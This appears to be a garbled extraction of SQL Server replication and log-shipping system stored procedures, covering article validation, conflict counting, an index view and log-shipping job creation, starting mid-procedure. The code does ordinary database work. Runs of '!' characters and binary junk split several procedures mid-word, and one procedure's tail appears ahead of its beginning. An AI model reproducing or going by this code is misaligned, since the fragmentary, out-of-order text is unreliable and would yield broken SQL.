                                insert into #proctext(procedure_text) values (
                                    N'select @stmt = @stmt + @spacervar + N''' + 
                                    sys.fn_replreplacesinglequote(quotename(@colname)) collate database_default  + 
                                    N''' + N''=@new'+ convert( nvarchar(10), @art_col ) + N'''')
                                insert into #proctext(procedure_text) values (N'select @spacervar = N'',''')
                                insert into #proctext(procedure_text) values (N'end')
                                --
                                -- processing for updating subscribers:if this is the row version column : need to add to where clause
                                --
                                if ((@updsub_check = 1) and (@colname = N'msrepl_tran_version'))
                                    select @qwhere_string = N' and msrepl_tran_version = @' + convert( nvarchar(10), @art_col )                        
                            end -- end XCALL format 
                        end -- dynamic column update scripting
                        --
                        -- script for parameter list for PK column
                        -- we have to script two parameters - the old column value and the new value
                        -- process according to the format
                        --
                        if (@format in (@callformat, @mcallformat, @vcallformat, @scallformat))
                        begin                           
                            -- script for the old value - @pkc<art_col>
                            insert into #proctext_params(procedure_text) values( 
                                @spacer + N'@pkc' + convert( nvarchar(10), @pkart_col ))
                            -- skip scripting new value for computed columns
                            if (@isvalidcolumn = 1)
                            begin
                                -- script for the new value - @c<art_col>
                                insert into #proctext_params(procedure_text) values( 
                                    N',@c' + convert( nvarchar(10), @art_col ))
                            end
                            -- increment @pkart_col
                            select @pkart_col = @pkart_col + 1;
                        end
                        else if (@format = @xcallformat)
                        begin
                            -- script for the old value - @<art_col> 
                            insert into #proctext_params(procedure_text) values( 
                                @spacer + N'@c' + convert( nvarchar(10), @art_col ))
                            -- script for the new value - @c<second set of column var>
                            insert into #proctext_params(procedure_text) values( 
                                N',@c' + convert( nvarchar(10), @art_col + @param_count/2))
                        end
                        --
                        -- script for parameter definition for PK column
                        -- we have to script two parameters definitions - 
                        -- one for the old column value and one for the new value
                        --
                        select @typestring = sys.fn_gettypestring( @src_objid, @this_col, @publishertype, @userdefinedtypestobasetypes, @xmltontext, @maxtypestomatchingnonmaxtypes, @maptimestamp, @newdatetimetypestostrings, @hierarchyidtovarbinarymax, @largeuserdefinedtypestovarbinarymax, @spatialtypestovarbinarymax)
                        -- script definition for the old value - <spacer> @<art_col> <typestring>
                        insert into #proctext_paramdef(procedure_text) values (
                            @spacer + N'@' + convert( nvarchar(10), @art_col ) + N' ' + @typestring )
                        -- skip scripting new value for computed columns
                        if (@isvalidcolumn = 1)
                        begin
                            -- script definition for the new value - <spacer> @new<art_col> <typestring>
                            insert into #proctext_paramdef(procedure_text) values (
                                N',@new' + convert( nvarchar(10), @art_col ) + N' ' + @typestring )
                        end
                        --
                        -- update spacing variable for dynamic scripting mode
                        --
                        select @spacer = N',' 
                    end -- if (@mode = @dynamicmode)
                end -- PK column
                --
                -- update art_col for valid columns
                --
                if (@isvalidcolumn = 1)
                    select @art_col = @art_col + 1
            end -- column marked for replication 
            fetch #hccolid into @this_col, @colname
        end -- cursor while loop
        close #hccolid
        deallocate #hccolid
        --
        -- script the where clause for this update statement
        -- if any columns were processed
        --
        if (@fskipallcolumns = 0)
        begin
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<q4Nrg~
            if (@mode = @staticmode)
            begin
                --
                -- static mode processing
                --
                if (@format = @xcallformat)
                begin
                    exec sys.sp_scriptpkwhereclause @src_objid = @src_objid
                                            ,@artid = @artid
                                            ,@prefix = N'@c'
                                            ,@artcolcounter = 1
                                            ,@publishertype = @publishertype
                    if (@updsub_check = 1)
                        insert into #proctext(procedure_text) values( @qwhere_string )
                end
                else if (@format = @vcallformat)
                begin
                    exec sys.sp_scriptpkwhereclause @src_objid = @src_objid
                                            ,@artid = @artid
                                            ,@publishertype = @publishertype
                    if (@updsub_check = 1)
                        insert into #proctext(procedure_text) values( N' and msrepl_tran_version = @old_msrepl_tran_version ' )
                end
                else
                begin
                    exec sys.sp_scriptpkwhereclause @src_objid = @src_objid
                                            ,@artid = @artid
                                            ,@publishertype = @publishertype
                end
                if (@updsub_check != 1)
                    exec sys.sp_MSscript_missing_row_check
                insert into #proctext(procedure_text) values( N'end' )
            end -- if (@mode = @staticmode)
            else
            begin
                --
                -- dynamic mode processing
                --
                declare  @startwhereclausescope int
                            ,@endwhereclausescope int

                --
                -- where clause scripting inherently does not handle escape character
                -- processing. Since our where clause will be a dynamic statement
                -- we will need to process the single quotes in for escape characters.
                -- We mark the beginning and end of the where clause and then 
                -- process it for escape character handling
                --
                insert into #proctext(procedure_text) values (N'select @stmt = @stmt + N'' ')
                select @startwhereclausescope = max(c1) from #proctext
                --
                -- the where clause will need to use the article ordinal.
                -- Use prefix '@' to be consistent with type def string
                --
                exec sys.sp_scriptpkwhereclause @src_objid = @src_objid
                                        ,@artid = @artid
                                        ,@prefix = N'@'
                                        ,@artcolcounter = 1
                                        ,@publishertype = @publishertype
                if (@updsub_check = 1) 
                begin
                    --
                    -- for updating subscribers -add the check for version
                    --
                    if (@format = @vcallformat)
                    begin
                        insert into #proctext(procedure_text) values(N' and msrepl_tran_version = @oldversion ' )
                    end
                    else if (@format = @xcallformat)
                    begin
                        insert into #proctext(procedure_text) values( @qwhere_string )
                    end
                end           
                select @endwhereclausescope = max(c1) from #proctext
                update #proctext 
                set procedure_text = sys.fn_replreplacesinglequote(procedure_text) collate database_default
                where c1 > @startwhereclausescope and c1 <= @endwhereclausescope
                insert into #proctext(procedure_text) values (N'''')
                --
                -- script the call to sql_executesql and parameter definitions
                --
                insert into #proctext(procedure_text) values( 
                    N'exec sp_executesql @stmt, N'' ')
                insert into #proctext(procedure_text) 
                    select procedure_text from #proctext_paramdef order by c1 asc
                if (@updsub_check = 1 and @format = @vcallformat)
                    insert into #proctext(procedure_text) values( N',@oldversion uniqueidentifier ')
                --
                -- add the parameter list for sp_executesql 
                --
                insert into #proctext(procedure_text) values (N''',')
                insert into #proctext(procedure_text) 
                    select procedure_text from #proctext_params order by c1 asc
                if (@updsub_check = 1 and @format = @vcallformat)
                    insert into #proctext(procedure_text) values( N',@old_msrepl_tran_version ')
                --
                -- add missing row check
                --
                if (@updsub_check != 1)
                    exec sys.sp_MSscript_missing_row_check
            end -- end dynamic processing mode
        end -- if (@fskipallcolumns = 0)
        else
        begin
            --
            -- no columns were selected for the update
            --
            insert into #proctext(procedure_text) values ('return 0')
            if (@mode = @staticmode)
            begin
                insert into #proctext(procedure_text) values( N'end' )
            end
        end
    end -- if @isallreplcolpk = 0 and both modes check
    --
    -- End the if exists block for Queued publications
    --
    if (@updsub_check = 1) and (@fhasnonpkuniquekeys = 1)
    begin
        select @cmd = N'
end'
        insert into #proctext(procedure_text) values( @cmd )
    end
    --
    -- end the scripting
    --
    insert into #proctext(procedure_text) values ( N'end' )
    --
    -- script the inserting of proc entry in MSreplication_objects now that proc is created
    --
    insert into #proctext(procedure_text) values( N'go' )
    select @cmd = N'if columnproperty(object_id(N''dbo.MSreplication_objects''), N''article'', ''AllowsNull'') is not null '
    insert into #proctext(procedure_text) values( @cmd )
    select @cmd = 'insert dbo.MSreplication_objects (object_name, publisher, publisher_db, publication, article, object_type) values (
                + N''' + sys.fn_replreplacesinglequote(@unquoted_proc_name) collate database_default + N''' '
                + N', N''' + sys.fn_replreplacesinglequote(@publisher) collate database_default + N''' ' 
                + N', N''' + sys.fn_replreplacesinglequote(db_name()) collate database_default + N''' ' 
                + N', N''' + sys.fn_replreplacesinglequote(@publication) collate database_default + N''' ' 
                + N', N''' + sys.fn_replreplacesinglequote(@article) collate database_default + N''' ' 
                + N',''P'')'
    select @cmd = 'exec (''' + 	sys.fn_replreplacesinglequote(@cmd) + ''')'  
    insert into #proctext(procedure_text) values( @cmd )
    --
    -- flush to client
    --
    select procedure_text from #proctext order by c1 asc
    --
    -- all done
    --
    return (0)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(5|O3/6vHcreate procedure sys.sp_MSarticle_validation
@publication sysname,
@article sysname,
-- The following are values passed to the sp_table_validation call at the subscriber.
@rowcount_only smallint = 1,       
/* 
The @rowcount_only param is overloaded for shiloh release due to backward compatibility concerns.
In shiloh, the checksum functionality has changed.   So 7.0 subscribers will have the old checksum 
routines, which generate different CRC values, and do not have functionality for vertical partitions,
or logical table structures where column offsets differ (due to ALTER TABLEs that DROP and ADD columns).

In 7.0, this was a bit column.  0 meant do not do just a rowcount - do a checksum.  1 meant just do a 
rowcount.

For Shiloh, this parameter is changed to a smallint with these options:
0 - Do a 7.0 compatible checksum
1 - Do a rowcount check only
2 - Use new Shiloh checksum functionality.  Note that because 7.0 subscribers will 
take this parameter as a bit type, not a smallint, it will be interpreted as simply
ON.  That means that passing a 2, and having a 7.0 subscriber, will result in the 7.0
subscriber doing only rowcount validation.   The Shiloh subscribers will do both
rowcount and checksum.  If you want 7.0 subscribers to do checksum validation, use 
the value of 0 for this parameter.   Shiloh subscribers can do the 7.0 compatible 
checksum, but that checksum has the same 7.0 limitations for vertical partitions 
and differences in physical table structure.)
*/
              
@full_or_fast tinyint = 2,  -- full (value 0) does COUNT(*) 
                            -- fast (value 1) uses sysindexes.rows if table (not view); 
                            -- conditional fast (VALUE 2) , first tries fast method, but
                            -- reverts to full if fast method shows differences.
@shutdown_agent bit = 0,    -- If 1 will raise error 20578, which will signal subscriber synchronization agent to shutdown
                            -- immediately after successful validation
@subscription_level bit = 0     -- Whether or not the validation is only picked up by a set of subscribers
                                -- that are specified by calls to sp_marksubscriptionvalidation.
, @reserved int = NULL          -- If not null, the sp is called from sp_publication_validation.
as

declare @publication_guid uniqueidentifier
declare @publication_id int
declare @article_guid uniqueidentifier
declare @article_id int
declare @source_name sysname
declare @source_owner sysname
declare @partition_view_id int, @table_id int
declare @sync_name sysname
declare @destination_table sysname
declare @destination_owner sysname
declare @command varchar (4096)
declare @retcode int
declare @actual_rowcount bigint
declare @actual_checksum numeric
declare @status int
declare @active int
declare @repl_freq int
declare @publish_bit int
declare @table_name sysname                 -- base table name var to passed to sp_table_validation
    , @allow_dts bit
    , @dts_part int
    , @horizontally_partitioned bit
    , @vertically_partitioned bit
    , @filter_clause nvarchar(max)
    , @column_list nvarchar(max)
    , @include_timestamp bit
    , @manual_view bit
set nocount on


set @active = 1
set @publish_bit = 1
set @dts_part = 64

-- Check if the database is published for transactional
if not exists (select * from master.dbo.sysdatabases where name = db_name() collate database_default and (category & @publish_bit) = @publish_bit)
begin
    raiserror(20026, 16, -1, @publication)
    return 1
end

-- Get Publication Information
select @publication_id = pubid, @allow_dts = allow_dts, @repl_freq = repl_freq from syspublications where name = @publication
if @publication_id is null
begin
    raiserror(20026, 16, -1, @publication)
    return 1
end

-- Article validation is not valid for snapshot publications
if @repl_freq <> 0
begin
    raiserror(21484, 16, -1, @publication)
    return 1
end

-- Get Article Information
select @article_id = artid, @sync_name = OBJECT_NAME(sync_objid), @partition_view_id = sync_objid,
    @destination_table = dest_table, @destination_owner = dest_owner, 
    @status = status, @table_name = OBJECT_NAME(objid),@table_id=objid,
    @filter_clause = case when filter <> 0 then filter_clause else null end,
    @include_timestamp = case when (status & 32 <> 0) then 1 else 0 end, 
    @horizontally_partitioned = case when filter <> 0 then 1 else 0 end,
    @manual_view = case when (type & 4) = 4 then 1 else 0 end,
    @vertically_partitioned = convert(bit, case when (art.type & 1) <> 1 or 
                                                                  not exists (select * 
                                                                                from sys.columns cols 
                                                                               where cols.object_id = art.objid 
                                                                                 and not ((art.status & 32)=32 and cols.system_type_id = 189) 
                                                                                 and cols.column_id not in (select artcols.colid 
                                                                                                              from dbo.sysarticlecolumns artcols 
                                                                                                             where artcols.artid = art.artid)) then 0 
                                          else 1 end)
    from sysarticles art where name = @article and pubid=@publication_id

if @article_id is null
begin
    raiserror(20027, 16, -1, @article)
    return 1
end

-- Security check
-- Only people have 'select all' permission on the base table can do validation
declare @qualified_table_name nvarchar(540)


select  @qualified_table_name = QUOTENAME(schema_name(so.schema_id)) + N'.' + QUOTENAME(so.name)
from sysarticles art, sys.objects so
where art.artid = @article_id 
	and art.objid = so.object_id           

if HAS_PERMS_BY_NAME(sys.fn_replreplacesinglequote(@qualified_table_name), 'OBJECT', 'SELECT')=0
begin
    declare @qual_name nvarchar(517)
    exec sys.sp_MSget_qualified_name @table_id, @qual_name output
    raiserror(20623, 16, -1, @article, @qual_name)
    return 1
end

-- Make sure article status is 'active' 
if (@status & @active) <> @active
begin
    -- Article is not active
    raiserror(20523, 16, -1, @article)
    return 1
end


if @allow_dts = 1
begin
    if @rowcount_only <> 1
    begin
        raiserror(20612, 16, -1)
        return (1) 
    end
    -- For dts horizontal partitioned article, no validation is possible, do nothing or
    -- raise error.
    if (@status & @dts_part <> 0)
    begin
        -- sp_article_validation is called directly, raise error and fail
        if @reserved is null
        begin
            raiserror(20613, 16, -1)
            return (1) 
        end
        -- sp_article_validation is called by sp_publication_validation, 
        -- raise warning and contiue.
        else
        begin
            raiserror(20613, 10, -1)
            return (0)
        end
    end
end

if @manual_view = 0
begin
    set @source_name = @table_name
    select @source_owner= schema_name(schema_id) from sys.objects where object_id=@table_id
end
else
begin
    set @source_name = @sync_name
    select @source_owner= schema_name(schema_id) from sys.objects where object_id=@partition_view_id
end

-- Check if table has vertical partition OR horizontal partition
if @horizontally_partitioned <> 0 OR @vertically_partitioned <> 0 or @manual_view <> 0
begin

    -- Partitions only support new shiloh checksum functionality or row count validation.
    -- If 7.0 compatible checksum was asked for (@rowcount_only=0), it will be changed to 
    -- override specified value, making it truly onl!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<I6
I1Hy check rowcounts.   If shiloh checksum 
    -- was asked for, thats ok (@rowcount_only=2), thats ok and no need to change it.
    if (@rowcount_only = 0)
        set @rowcount_only = 1
end

-- Get column list if article is vertically partitioned
if @vertically_partitioned <> 0
begin
    exec @retcode = sys.sp_MSgettransarticlecolumnlist 
        @article_id = @article_id,
        @include_timestamp = @include_timestamp,
        @column_list = @column_list output
end
else
begin
    set @column_list = null
end


begin tran -- The table validation and posting to the log MUST happen with a transaction

-- Get publisher's rowcount and/or checksum for the article
if @rowcount_only = 1
begin
    exec @retcode = sys.sp_MStable_validation @table = @source_name, @expected_rowcount = @actual_rowcount OUTPUT,
        @rowcount_only = 1, @owner=@source_owner, @full_or_fast = 0, @table_name = @table_name, @column_list = @column_list, @filter_clause = @filter_clause   -- always do full count at publisher
    if @retcode <> 0 or @@error <> 0 
    begin
        commit tran
        return 1
    end
end
else  -- get checksum
begin
    exec @retcode = sys.sp_MStable_validation @table = @source_name, @expected_rowcount = @actual_rowcount OUTPUT,
        @expected_checksum = @actual_checksum OUTPUT, @rowcount_only = @rowcount_only, @owner=@source_owner,
        @full_or_fast = 0, @table_name = @table_name, @column_list = @column_list, @filter_clause = @filter_clause   -- always do full count at publisher
    if @retcode <> 0 or @@error <> 0 
    begin
        commit tran
        return 1
    end
end

-- Post sp_table_validation on behalf of the article and send to subscribers
if @rowcount_only = 1
begin
    select @command = 'exec dbo.sp_table_validation @table = ''' + replace(@destination_table, '''', '''''') + ''', @expected_rowcount = ' +
        convert(varchar(10), @actual_rowcount) + ', @rowcount_only = 1' +
        ', @full_or_fast = ' + convert(varchar(10), @full_or_fast) +
        ', @shutdown_agent = ' + convert(varchar(10), @shutdown_agent)
end
else
begin
    select @command = 'exec dbo.sp_table_validation @table = ''' + replace(@destination_table, '''', '''''')  + ''', @expected_rowcount = ' +
        convert(varchar(10), @actual_rowcount) + ', @expected_checksum = ' + 
        convert(varchar(100), @actual_checksum) + ', @rowcount_only = ' + convert(varchar(5),@rowcount_only) +
        ', @full_or_fast = ' + convert(varchar(10), @full_or_fast) +
        ', @shutdown_agent = ' + convert(varchar(10), @shutdown_agent)
end 

-- Add owner param if destination owner is not NULL
if (@destination_owner IS NOT NULL)
begin
    select @command = @command +
    ', @owner = ''' + replace(@destination_owner, '''', '''''') + ''''
end

declare @command_type int
if @subscription_level = 0
    select @command_type = 35 -- SQL Server Only command type
else
    select @command_type = 69 -- sub validation command

exec @retcode = sys.sp_replpostcmd 
    0,              -- partial flag
    @publication_id, 
    @article_id, 
    @command_type,            -- SQL Server Only command type
    @command
if @retcode <> 0 or @@error <> 0
begin
    commit tran
    return 1
end

commit tran

GGor into @pubid, @centralized_conflicts, @lpublisher, @lpublisher_db, @publication
                    continue
                 end
            end
            --
            -- Walk through each article in this subscribed publication
            --
            declare #hCArtCursor CURSOR LOCAL FAST_FORWARD for
                select a.article, OBJECT_ID(a.cft_table), a.artid
                from MSsubscription_articles a join
                    MSsubscription_agents b on
                        a.agent_id = b.id
                where b.id = @pubid

            open #hCArtCursor
            fetch #hCArtCursor into @article, @cft_tabid, @artid
            while ( @@fetch_status != -1 )
            begin
                --
                -- get the owner qualified conflict table name
                --
                select @owner = QUOTENAME(schema_name(OBJECTPROPERTY(@cft_tabid, 'SchemaId')))
                select @conflict_table = @owner + N'.' + QUOTENAME(OBJECT_NAME(@cft_tabid))
                --
                -- Get all the conflict counts
                --
                select @cmd = 'select ' + cast(@artid as nvarchar(10)) +  
                    ', count(*), ' + cast(@pubid as nvarchar(10)) + 
                    ' from ' + @conflict_table + 
                    ' where conflict_type in (1, 5, 7) 
                        and origin_datasource = ' + QUOTENAME((@lpublisher + '.'  + @lpublisher_db), '''')
                    
                insert into #conflict_list ( artid, conflict_count, sub_agent_id )
                    exec ( @cmd )

                select @conflicts_count = isnull(conflict_count, 0)
                from #conflict_list
                where artid = @artid and sub_agent_id = @pubid
                
                if (@conflicts_count > 0)
                begin
                    --
                    -- add a row to the #result_list
                    --
                    insert into @result_list ( article, conflict_table, centralized_conflicts, conflict_count )
                        select @owner + N'.' + QUOTENAME(@article), @conflict_table, @centralized_conflicts, @conflicts_count
                end
                --
                -- fetch next row from hCArtCursor
                --
                fetch #hCArtCursor into @article, @cft_tabid, @artid
            end
            close #hCArtCursor
            deallocate #hCArtCursor
            --
            -- fetch next row from hCPubCursor
            --
            fetch #hCPubCursor into @pubid, @centralized_conflicts, @lpublisher, @lpublisher_db, @publication
        end
        close #hCPubCursor
        deallocate #hCPubCursor
    end
    --
    -- do a select for results
    --
    select  article,
            conflict_table,
            'source_proc' = @spname,
            centralized_conflicts,
            conflict_count
    from @result_list
    --
    -- all done
    --
    return (0)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!a
`<(7YVvGcreate procedure sys.sp_MShelptranconflictcounts 
( 
    @publication_name sysname = NULL
    ,@publisher sysname = NULL
    ,@publisher_db sysname = NULL
	,@originator_id nvarchar(32) = '%' --int
) as 
begin
    set nocount on 

    declare @retcode int
            ,@pubid int
            ,@centralized_conflicts bit
            ,@article sysname
		,@quotedtablename nvarchar(1000)
		,@artid int
            ,@conflict_table nvarchar(1000)
            ,@cft_tabid int
            ,@spname sysname
            ,@cmd nvarchar(4000)
            ,@conflicts_count int
            ,@lpublisher sysname
            ,@lpublisher_db sysname
            ,@owner sysname
            ,@publication sysname
            ,@fcheckpal bit
			,@fulltablename nvarchar(1000) --qualified with owner
			,@options int = 0
			,@art_objid int = 0

    declare @result_list table ( article nvarchar(256) collate database_default, conflict_table sysname collate database_default null,  
        centralized_conflicts bit, conflict_count integer)
    create table #conflict_list ( artid sysname collate database_default, conflict_count int, sub_agent_id int )
    --
    -- Decide if we need PAL security check - If sysadmin or dbo - skip PAL check
    --
    select @fcheckpal = case when  ((is_srvrolemember('sysadmin') = 1) or (is_member ('db_owner') = 1)) 
                                               then 0 else 1 end
    --
    -- initialize
    --
    if ( @publication_name = '%' )
        select @publication_name = NULL
    if ( @publisher = '%' )
        select @publisher = NULL
    if ( @publisher_db = '%' )
        select @publisher_db = NULL
    -- 
    -- process publisher
    --
    if ( object_id('dbo.sysarticles') is not null)
    begin
        --
        -- Walk through each publication that allows queued or p2p operation
        --
        declare #hCPubCursor CURSOR LOCAL FAST_FORWARD for
            select name, pubid, centralized_conflicts, options
            from syspublications
            where ((allow_queued_tran = 1) or (options &0x8 = 0x8))
                and name = isnull(@publication_name, name)
                and db_name() = isnull(@publisher_db, db_name())
                and upper(publishingservername()) = upper(isnull(@publisher, publishingservername()))

        open #hCPubCursor
        fetch #hCPubCursor into @publication, @pubid, @centralized_conflicts, @options
        while ( @@fetch_status != -1 )
        begin
            --
            -- do PAL check if necessary and proceed if it passes
            --
            if (@fcheckpal = 1)
            begin
                --
                -- need to do PAL check for the publication
                --
                exec @retcode = sp_MSreplcheck_pull
                        @publication = @publication,
                        @raise_fatal_error = 0
                 if (@@error != 0) or (@retcode != 0)
                 begin
                    --
                    -- do not have access to this publication
                    -- fetch next publication and continue
                    -- 
                    fetch #hCPubCursor into @publication, @pubid, @centralized_conflicts
                    continue
                 end
            end
            --
            -- Walk through each article in this publication
            --
            declare #hCArtCursor CURSOR LOCAL FAST_FORWARD for
                select a.name, b.conflict_tableid, a.artid, a.objid, quotename(object_name(a.objid))
                from sysarticles a 
						 left join sysarticleupdates b on
                        a.artid = b.artid and
                        a.pubid = b.pubid
                where a.pubid = @pubid

            open #hCArtCursor
            fetch #hCArtCursor into @article, @cft_tabid, @artid, @art_objid, @quotedtablename
            while ( @@fetch_status != -1 )
            begin
				select @owner = QUOTENAME(schema_name(objectproperty(@art_objid, 'SchemaId')))

				--queued and p2p cannot coexists
				if (@options & 0x8 = 0)
				begin
					--
					-- get the owner qualified conflict table name
					--
					select @spname = 'sp_MSgettrancftsrcrow'
					select @conflict_table = QUOTENAME(schema_name(objectproperty(@cft_tabid, 'SchemaId'))) + N'.' + QUOTENAME(OBJECT_NAME(@cft_tabid))
					--
					-- Get all the conflict counts
					--
					select @cmd = 'select ' + cast(@artid as nvarchar(10)) +  
					    ', count(*) from ' + @conflict_table + 
					    ' where conflict_type in (1, 5, 7) and pubid = ' + 
					    cast(@pubid as nvarchar(10))
				end
				else
				begin
					exec sp_MSgetpeerconflictname @prefix=N'conflict', @tabid=@art_objid, @peerconflictname=@conflict_table output
					if @@error <> 0
						select @conflict_table = NULL
					select @conflict_table = N'[dbo].' + QUOTENAME(@conflict_table)

					--
					-- Get all the conflict counts
					--
					select @cmd = 'select ' + cast(@artid as nvarchar(10)) +  
					    ', count(*) from ' + @conflict_table + 
					    ' where __$is_winner = 0 '

				    select @spname = 'sp_MSgetpeerwinnerrow'
				end

                insert into #conflict_list ( artid, conflict_count )
                    exec ( @cmd )

                select @conflicts_count = isnull(conflict_count, 0)
                from #conflict_list
                where artid = @artid
                
                if (@conflicts_count > 0)
                begin
                    --
                    -- add a row to the #result_list
                    --
                    insert into @result_list ( article, conflict_table, centralized_conflicts, conflict_count )
                        select isnull(@owner + N'.', '') + @quotedtablename, @conflict_table, @centralized_conflicts, @conflicts_count
                end
                --
                -- fetch next row from hCArtCursor
                --
                fetch #hCArtCursor into @article, @cft_tabid, @artid, @art_objid, @quotedtablename
            end
            close #hCArtCursor
            deallocate #hCArtCursor
            --
            -- fetch next row from hCPubCursor
            --
            fetch #hCPubCursor into @publication, @pubid, @centralized_conflicts, @options
        end
        close #hCPubCursor
        deallocate #hCPubCursor
    end
    --
    -- process subscriber side
    --
    delete #conflict_list
    if ( object_id('dbo.MSsubscription_articles') is not null)
    begin
        --
        -- Walk through each subscription that allows queued operation
        --
        declare #hCPubCursor CURSOR LOCAL FAST_FORWARD for
            select id, 0, publisher, publisher_db, publication 
            from MSsubscription_agents 
            where update_mode in (2,3,4,5)
                and upper(publisher) = upper(isnull(@publisher, publisher))
                and publisher_db = isnull(@publisher_db, publisher_db)
                and publication = isnull(@publication_name, publication)

        open #hCPubCursor
        fetch #hCPubCursor into @pubid, @centralized_conflicts, @lpublisher, @lpublisher_db, @publication
        while ( @@fetch_status != -1 )
        begin
            --
            -- do PAL check if necessary and proceed if it passes
            --
            if (@fcheckpal = 1)
            begin
                --
                -- need to do PAL check for the publication
                --
                exec @retcode = sp_MSreplcheck_pull
                        @publication = @publication,
                        @raise_fatal_error = 0
                 if (@@error != 0) or (@retcode != 0)
                 begin
                    --
                    -- do not have access to this publication
                    -- fetch next publication and continue
                    -- 
                    fetch #hCPubCurs!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	b	<<82o>{0}n M8
create view sys.spt_indexes_view_managed
as
select distinct
	db_Name() as constraint_catalog, 
	constraint_schema = schema_name(o.schema_id), 
	constraint_name = x.name, 
	table_catalog  = db_name(), 
	table_schema = schema_name(o.schema_id), 
	table_name = o.name, 
	index_name = x.name,
	type_desc = x.type_desc 
from 
	sys.objects o INNER JOIN sys.indexes x ON
		(
			o.object_id = x.object_id AND
			o.type in ('U')
		) INNER JOIN 
	sys.index_columns xc ON
		(
			xc.object_id = x.object_id AND
			xc.index_id = x.index_id
		)

0 8 
-- add it
create view sys.dm_pdw_nodes_io_pending_io_requests as
select *, convert(int, null) pdw_node_id from sys.dm_io_pending_io_requests
0<@ 8create procedure sys.sp_MSprocesslogshippingjob 
(
    @type tinyint -- 1 = backup, 2 = copy, 3 = restore, 4 = alert
    ,@mode tinyint -- 1 = create, 2 = drop 
    ,@jobid uniqueidentifier = NULL output -- for create jobs it returns the new job, for drop jobs it specifies the job
    ,@job_name sysname = NULL -- cannot be NULL when creating
    ,@description nvarchar(512) = NULL -- cannot be NULL when creating
    ,@command nvarchar(3200) = NULL -- cannot be NULL when creating
    ,@overwrite bit = 0
)
as
begin
    set nocount on
    declare @retcode int
        ,@category sysname
        ,@category_id int
        ,@stepname sysname
        ,@subsystem sysname
        ,@enabled tinyint
        ,@schedule_name sysname
        ,@schedule_id int
        ,@sa_login sysname

    SELECT @sa_login = SUSER_SNAME(0x01)

    --
    -- check to make sure the server has not been dropped
    --
    if @@servername is null
    begin
         raiserror(32053, 16, 1)
         return 1
    end
    
    --
    -- validate @type and @mode
    --
    if (@type not in (1,2,3,4)) or (@mode not in (1,2))
        return 1
    --
    -- process based on @mode
    --
    if (@mode = 1)
    begin
        --
        -- @mode is create - see if job exists with same name
        --
        select @jobid = job_id
            ,@category_id = category_id
        from msdb.dbo.sysjobs_view 
        where name = @job_name
        if (@jobid is not null)
        begin
            --
            -- Job with same name exists
            -- If this is a logshipping job - we will drop it before creating
            -- If this is not a logshipping job - return error (if override is not set)
            --
            if (@category_id != 6)
            begin
                if (@overwrite = 0)
                begin
                    raiserror(32022, 16, 1, @job_name)
                    return 1
                end
            end
        end
    end
    else
    begin
        --
        -- @mode is drop - @jobid cannot be null
        --
        if (@jobid is null)
            return 1
    end 
    --
    -- if @jobid is specified, we need to drop it first
    --
    if (@jobid is not null)
    begin
        -- ignore errors during job deletion - the job may not exist
        begin try
        exec msdb.dbo.sp_delete_job @job_id = @jobid
        end try
        begin catch
            select @retcode = 0
        end catch
        select @jobid = null
    end
    --
    -- Proceed if we are creating
    --
    if (@mode = 2)
        return
    --
    -- initialize based on type
    --
    if (@job_name is null or @description is null or @command is null)
        return 1
    select @category = N'Log Shipping'
            ,@subsystem = case when (@type in (1,2,3)) then N'CMDEXEC' else N'TSQL' end
            ,@stepname = case when (@type = 1) then  isnull(formatmessage(32004), N'Logshipping backup log job step.')
                                        when (@type = 2) then  isnull(formatmessage(32005), N'Logshipping copy job step.')
                                        when (@type = 3) then  isnull(formatmessage(32006), N'Logshipping restore job step.')
                                        else  isnull(formatmessage(32020), N'Logshipping alert job step.') end
            ,@enabled = case when (@type in (1,2,3)) then 0 else 1 end
    --
    -- Add job
    --
